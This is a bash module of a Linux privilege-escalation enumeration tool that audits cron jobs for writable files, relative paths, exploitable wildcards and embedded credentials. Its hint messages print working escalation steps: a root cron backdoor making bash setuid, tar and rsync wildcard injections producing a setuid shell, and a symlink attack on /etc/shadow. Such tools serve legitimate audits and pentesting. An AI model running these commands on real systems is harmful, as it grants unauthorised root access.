#!/bin/bash

# Title: Cron Jobs Checker
# Description: Check for insecure cron jobs that can be exploited for privilege escalation
# Author: Jonas Resch

# Check for writable cron job scripts and directories
check_writable_cron_scripts() {
  print_subtitle "Writable Cron Scripts"
  
  print_info "Searching for writable cron job scripts..."
  
  # Check standard cron directories
  cron_dirs=(
    "/etc/cron.d"
    "/etc/cron.daily"
    "/etc/cron.hourly"
    "/etc/cron.weekly"
    "/etc/cron.monthly"
    "/var/spool/cron"
    "/var/spool/cron/crontabs"
  )
  
  # Check if any cron directory is writable
  for dir in "${cron_dirs[@]}"; do
    if [ -d "$dir" ]; then
      if [ -w "$dir" ]; then
        print_critical "${RED}Cron directory is writable: $dir${NC}"
        print_critical " ${RED}→ You can create a new cron job file here!${NC}"
        print_critical " ${RED}→ Example: echo '* * * * * root chmod u+s /bin/bash' > $dir/root-backdoor${NC}"
      fi
      
      # Look for writable cron job scripts
      find "$dir" -type f 2>/dev/null | while read -r file; do
        if [ -w "$file" ]; then
          perms=$(ls -la "$file" | awk '{print $1}')
          owner=$(ls -la "$file" | awk '{print $3}')
          
          print_critical "${RED}Writable cron job: $file${NC} [$perms] [Owner: $owner]"
          print_critical " ${RED}→ You can modify this cron job to run your code!${NC}"
          
          # Get cron job contents
          content=$(head -n 5 "$file" 2>/dev/null)
          if [ -n "$content" ]; then
            print_critical " ${RED}→ Current content (truncated):${NC}"
            echo "$content" | while read -r line; do
              print_critical "   $line"
            done
          fi
        fi
      done
    fi
  done
}

# Check for cron jobs running as root
check_root_cron_jobs() {
  print_subtitle "Root Cron Jobs"
  
  print_info "Checking for cron jobs running as root..."
  
  # Check crontab
  if [ -r "/etc/crontab" ]; then
    print_warning "Checking /etc/crontab for root jobs:"
    root_jobs=$(grep -v "^#" /etc/crontab 2>/dev/null | grep -E "root" | grep -Ev "^$")
    
    if [ -n "$root_jobs" ]; then
      echo "$root_jobs" | while read -r job; do
        # Extract command from the cron job
        cmd=$(echo "$job" | awk '{for(i=7;i<=NF;i++)print $i}' | tr -d "\t" | tr " " "\t" | cut -f 1)
        
        # Check for wildcards, relative paths, etc.
        if echo "$cmd" | grep -q " \* "; then
          print_critical "${RED}Cron job with wildcard: $job${NC}"
          print_critical " ${RED}→ Wildcard in cron jobs can be exploited:${NC}"
          print_critical " ${RED}→ https://www.hackingarticles.in/linux-privilege-escalation-using-wildcard-injection${NC}"
        elif ! echo "$cmd" | grep -q "^/"; then
          print_critical "${RED}Cron job with relative path: $job${NC}"
          print_critical " ${RED}→ Relative paths can be exploited with PATH manipulation${NC}"
        else
          # Check if the command is writable
          if [ -w "$cmd" ]; then
            print_critical "${RED}Writable root cron job command: $cmd${NC}"
            print_critical " ${RED}→ You can modify this executable to run arbitrary code as root!${NC}"
          else
            # Check for writable command arguments (scripts, config files)
            args=$(echo "$job" | awk '{for(i=8;i<=NF;i++)print $i}')
            
            for arg in $args; do
              # Skip flags/options
              if [[ "$arg" == -* ]]; then
                continue
              fi
              
              # Skip variable references and redirections
              if [[ "$arg" == *\$* ]] || [[ "$arg" == *\<* ]] || [[ "$arg" == *\>* ]]; then
                continue
              fi
              
              # Check if argument exists and is writable
              if [ -e "$arg" ] && [ -w "$arg" ]; then
                print_critical "${RED}Writable root cron job argument: $arg${NC}"
                print_critical " ${RED}→ You can modify this file to execute code when the cron job runs!${NC}"
              fi
            done
            
            print_warning " ${YELLOW}→ $job${NC}"
          fi
        fi
      done
    else
      print_success "No root jobs found in /etc/crontab"
    fi
  fi
  
  # Check cron.d directory
  if [ -d "/etc/cron.d" ]; then
    print_warning "Checking /etc/cron.d for root jobs:"
    
    find /etc/cron.d -type f 2>/dev/null | grep -v ".placeholder" | while read -r cronfile; do
      if [ -r "$cronfile" ]; then
        root_jobs=$(grep -v "^#" "$cronfile" 2>/dev/null | grep -E "root" | grep -Ev "^$")
        
        if [ -n "$root_jobs" ]; then
          print_warning "Root jobs in $cronfile:"
          
          echo "$root_jobs" | while read -r job; do
            # Extract command from the cron job
            cmd=$(echo "$job" | awk '{for(i=7;i<=NF;i++)print $i}' | tr -d "\t" | tr " " "\t" | cut -f 1)
            
            # Check for wildcards, relative paths, etc.
            if echo "$cmd" | grep -q " \* "; then
              print_critical "${RED}Cron job with wildcard: $job${NC}"
            elif ! echo "$cmd" | grep -q "^/"; then
              print_critical "${RED}Cron job with relative path: $job${NC}"
            else
              # Check if the command is writable
              if [ -w "$cmd" ]; then
                print_critical "${RED}Writable root cron job command: $cmd${NC}"
              else
                print_warning " ${YELLOW}→ $job${NC}"
              fi
            fi
          done
        fi
      fi
    done
  fi
  
  # Check root's personal crontab
  if [ "$IAMROOT" ] && [ -r "/var/spool/cron/crontabs/root" ]; then
    print_warning "Checking root's personal crontab:"
    
    root_personal_jobs=$(grep -v "^#" /var/spool/cron/crontabs/root 2>/dev/null | grep -Ev "^$")
    
    if [ -n "$root_personal_jobs" ]; then
      echo "$root_personal_jobs" | while read -r job; do
        # Extract command (different format from /etc/crontab)
        cmd=$(echo "$job" | awk '{for(i=6;i<=NF;i++)print $i}' | tr -d "\t" | tr " " "\t" | cut -f 1)
        
        # Check for wildcards, relative paths, etc.
        if echo "$job" | grep -q " \* "; then
          print_critical "${RED}Cron job with wildcard: $job${NC}"
        elif ! echo "$cmd" | grep -q "^/"; then
          print_critical "${RED}Cron job with relative path: $job${NC}"
        else
          # Check if the command is writable
          if [ -w "$cmd" ]; then
            print_critical "${RED}Writable root cron job command: $cmd${NC}"
          else
            print_warning " ${YELLOW}→ $job${NC}"
          fi
        fi
      done
    else
      print_success "No jobs found in root's personal crontab"
    fi
  fi
}

# Check for world-writable scripts called by cron jobs
check_path_hijacking_cron() {
  print_subtitle "Cron PATH Hijacking"
  
  print_info "Checking for cron jobs vulnerable to PATH hijacking..."
  
  # First, check the PATH settings in crontab
  if [ -r "/etc/crontab" ]; then
    cron_path=$(grep "^PATH" /etc/crontab 2>/dev/null | cut -d= -f2)
    
    if [ -n "$cron_path" ]; then
      print_warning "Cron PATH in /etc/crontab: ${YELLOW}$cron_path${NC}"
      
      # Check for writable directories in cron PATH
      IFS=':' read -ra path_dirs <<< "$cron_path"
      for dir in "${path_dirs[@]}"; do
        if [ -d "$dir" ] && [ -w "$dir" ]; then
          print_critical "${RED}Writable directory in cron PATH: $dir${NC}"
          print_critical " ${RED}→ You can create executables here that will be run by cron jobs!${NC}"
          print_critical " ${RED}→ Example: create a script with the same name as a command used by cron${NC}"
        fi
      done
    fi
  fi
  
  # Look for suspicious cron job scripts that use relative paths
  all_cron_files=$(find /etc/cron* /var/spool/cron/crontabs -type f 2>/dev/null)
  
  if [ -n "$all_cron_files" ]; then
    echo "$all_cron_files" | while read -r cronfile; do
      if [ -r "$cronfile" ]; then
        # Use grep to find lines not starting with # and containing an executable
        # We'll look for all lines except comments, PATH settings, or empty lines
        relative_cmd_jobs=$(grep -v "^#" "$cronfile" 2>/dev/null | grep -v "^PATH" | grep -Ev "^\s*$")
        
        if [ -n "$relative_cmd_jobs" ]; then
          # Only print the cronfile header if we find actual suspicious commands
          suspicious_found=0
          
          # Process each line in the cron job file
          echo "$relative_cmd_jobs" | while read -r job; do
            # Determine the file type to parse it correctly
            if echo "$cronfile" | grep -q "/etc/crontab\|/etc/cron.d/"; then
              # System crontab format: min hour dom month dow user command
              user=$(echo "$job" | awk '{print $6}')
              cmd=$(echo "$job" | awk '{for(i=7;i<=NF;i++)print $i}' | tr -d "\t" | tr " " "\t" | cut -f 1)
            else
              # User crontab format: min hour dom month dow command
              user="UNKNOWN"
              cmd=$(echo "$job" | awk '{for(i=6;i<=NF;i++)print $i}' | tr -d "\t" | tr " " "\t" | cut -f 1)
            fi
            
            # Skip entries that don't look like cron jobs (help text, empty lines, etc)
            if ! echo "$job" | grep -qE "^[0-9*]"; then
              continue
            fi
            
            # Only check commands that appear to be relative paths
            if [ -n "$cmd" ] && ! echo "$cmd" | grep -q "^/"; then
              # If this is our first suspicious command, print the header
              if [ "$suspicious_found" -eq 0 ]; then
                print_warning "Cron jobs with relative command paths in ${YELLOW}$cronfile${NC}:"
                suspicious_found=1
              fi
              
              if [ "$user" != "UNKNOWN" ]; then
                print_warning " ${YELLOW}→ [$user] $job${NC}"
              else
                print_warning " ${YELLOW}→ $job${NC}"
              fi
              
              print_warning "   ${YELLOW}→ Command without absolute path: $cmd${NC}"
              
              # Try to find the command in the PATH and check if it's writable
              command_path=$(which "$cmd" 2>/dev/null)
              if [ -n "$command_path" ]; then
                if [ -w "$command_path" ]; then
                  print_critical "   ${RED}→ The command $cmd resolves to $command_path, which is writable!${NC}"
                else
                  print_success "   → The command $cmd resolves to $command_path (not writable)"
                fi
              else
                print_warning "   ${YELLOW}→ The command $cmd was not found in PATH, potential for PATH hijacking${NC}"
              fi
            fi
          done
        fi
      fi
    done
  fi
}

# Check for wildcards in cron jobs that can be exploited
check_wildcard_cron() {
  print_subtitle "Wildcard Exploitation"
  
  print_info "Checking for cron jobs with exploitable wildcards..."
  
  # Common commands that can be dangerous with wildcards
  dangerous_cmds=("tar" "rsync" "chmod" "chown" "rm")
  
  # Find cron jobs with wildcards
  all_cron_files=$(find /etc/cron* /var/spool/cron/crontabs -type f 2>/dev/null)
  
  if [ -n "$all_cron_files" ]; then
    echo "$all_cron_files" | while read -r cronfile; do
      if [ -r "$cronfile" ]; then
        for cmd in "${dangerous_cmds[@]}"; do
          wildcard_jobs=$(grep -v "^#" "$cronfile" 2>/dev/null | grep -E "$cmd .* \*" | grep -Ev "^$")
          
          if [ -n "$wildcard_jobs" ]; then
            print_critical "${RED}Potentially exploitable wildcard in $cronfile:${NC}"
            
            echo "$wildcard_jobs" | while read -r job; do
              print_critical " ${RED}→ $job${NC}"
              
              # Identify the directory containing the wildcard
              job_cmd=$(echo "$job" | sed -E 's/^[^\/]*(\/[^ ]*).*/\1/')
              wildcard_dir=$(echo "$job_cmd" | grep -o ".*\*" | sed 's/\*$//')
              
              # Check if the wildcard directory is writable
              if [ -d "$wildcard_dir" ] && [ -w "$wildcard_dir" ]; then
                print_critical "   ${RED}→ Directory $wildcard_dir is writable!${NC}"
                
                if echo "$job" | grep -q "tar"; then
                  print_critical "   ${RED}→ Tar wildcard exploitation:${NC}"
                  print_critical "   ${RED}→ cd $wildcard_dir${NC}"
                  print_critical "   ${RED}→ echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > exploit.sh${NC}"
                  print_critical "   ${RED}→ echo '' > \"--checkpoint=1\"${NC}"
                  print_critical "   ${RED}→ echo '' > \"--checkpoint-action=exec=sh exploit.sh\"${NC}"
                  print_critical "   ${RED}→ Wait for the cron job to run, then execute: /tmp/rootbash -p${NC}"
                elif echo "$job" | grep -q "rsync"; then
                  print_critical "   ${RED}→ Rsync wildcard exploitation:${NC}"
                  print_critical "   ${RED}→ cd $wildcard_dir${NC}"
                  print_critical "   ${RED}→ touch \"-e sh -c 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash'\"${NC}"
                  print_critical "   ${RED}→ Wait for the cron job to run, then execute: /tmp/rootbash -p${NC}"
                elif echo "$job" | grep -q "chmod"; then
                  print_critical "   ${RED}→ Chmod wildcard exploitation:${NC}"
                  print_critical "   ${RED}→ cd $wildcard_dir${NC}"
                  print_critical "   ${RED}→ Identify a critical target like /etc/shadow and create a symlink:${NC}"
                  print_critical "   ${RED}→ ln -s /etc/shadow shadow-link${NC}"
                  print_critical "   ${RED}→ Wait for the cron job to run, potentially changing permissions on /etc/shadow${NC}"
                fi
              else
                print_warning "   ${YELLOW}→ Directory $wildcard_dir is not writable${NC}"
              fi
            done
          fi
        done
      fi
    done
  fi
}

# Check for cron files containing credentials
check_cron_credentials() {
  print_subtitle "Credentials in Cron Jobs"
  
  print_info "Checking for credentials in cron job files..."
  
  # Find credentials in cron files
  all_cron_files=$(find /etc/cron* /var/spool/cron/crontabs -type f 2>/dev/null)
  
  if [ -n "$all_cron_files" ]; then
    echo "$all_cron_files" | while read -r cronfile; do
      if [ -r "$cronfile" ]; then
        # Look for various credential patterns
        creds=$(grep -i "pass\=\|passwd=\|password=\|pwd=\|secret=\|token=\|credential=" "$cronfile" 2>/dev/null | grep -v "^#")
        
        if [ -n "$creds" ]; then
          print_critical "${RED}Potential credentials found in $cronfile:${NC}"
          
          echo "$creds" | while read -r line; do
            # Try to highlight the credential part
            highlighted_line=$(echo "$line" | sed -E "s/(.*(pass|pwd|user|login|cred|key|secret|token).*[=:\"'].*)([^\s\"':]+)([\"':]?.*)/\\1${RED}\\3${NC}\\4/i")
            print_critical " ${RED}→ $highlighted_line${NC}"
          done
        fi
      fi
    done
  fi
}

# Check for recently modified cron jobs
check_recent_cron_changes() {
  print_subtitle "Recent Cron Changes"
  
  print_info "Checking for recently modified cron jobs (last 7 days)..."
  
  # Find recently modified cron files
  recent_changes=$(find /etc/cron* /var/spool/cron/crontabs -type f -mtime -7 2>/dev/null | grep -v ".placeholder")
  
  if [ -n "$recent_changes" ]; then
    print_warning "${YELLOW}Recently modified cron files:${NC}"
    
    echo "$recent_changes" | while read -r file; do
      mod_time=$(ls -la "$file" | awk '{print $6, $7, $8}')
      print_warning " ${YELLOW}→ $file (modified: $mod_time)${NC}"
      
      # Show file contents if readable
      if [ -r "$file" ]; then
        content=$(grep -v "^#" "$file" 2>/dev/null | grep -v "^$" | head -n 5)
        if [ -n "$content" ]; then
          print_warning "   ${YELLOW}→ Content (truncated):${NC}"
          echo "$content" | while read -r line; do
            print_warning "     $line"
          done
          
          # Indicate if there's more content not shown
          if [ "$(grep -v "^#" "$file" 2>/dev/null | grep -v "^$" | wc -l)" -gt 5 ]; then
            print_warning "     ${YELLOW}→ (more lines not shown)${NC}"
          fi
        fi
      fi
    done
  else
    print_success "No recently modified cron files found"
  fi
}

# Main function to run all cron job checks
cron_job_checks() {
  print_title "Cron Jobs"
  
  # Run all cron job checks
  check_writable_cron_scripts
  check_root_cron_jobs
  check_path_hijacking_cron
  check_wildcard_cron
  check_cron_credentials
  check_recent_cron_changes
  
  # Wait for user if wait mode is enabled
  wait_for_user
} 